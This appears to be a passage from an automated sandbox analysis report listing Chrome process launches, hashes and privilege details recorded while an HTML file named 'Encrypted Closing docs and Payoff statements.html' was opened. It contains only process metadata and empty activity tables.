Start date: 18/03/2023

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe"  --start-maximized  "about:blank

Imagebase: 0x7ff614650000

File size: 2851656 bytes

MD5 hash: 0FEC2748F363150DC54C1CAFFB1A9408

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Target ID: 1

Start time: 22:21:41

Start date: 18/03/2023

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

System Behavior

Analysis Process: chrome.exe PID: 3108, Parent PID: 2136

General

File Activities

Registry Activities

Analysis Process: chrome.exe PID: 2424, Parent PID: 3108

General
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Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-
type=none --mojo-platform-channel-handle=1868 --field-trial-handle=1816,i,6220061778104809602,11437118113149743191,131072 --disable-features
=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8

Imagebase: 0x7ff614650000

File size: 2851656 bytes

MD5 hash: 0FEC2748F363150DC54C1CAFFB1A9408

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Target ID: 2

Start time: 22:21:42

Start date: 18/03/2023

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Encrypted Closing docs and Payoff statements.html

Imagebase: 0x7ff614650000

File size: 2851656 bytes

MD5 hash: 0FEC2748F363150DC54C1CAFFB1A9408

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

⊘ No disassembly

File Activities

Analysis Process: chrome.exe PID: 1780, Parent PID: 2136

General

Registry Activities

Disassembly
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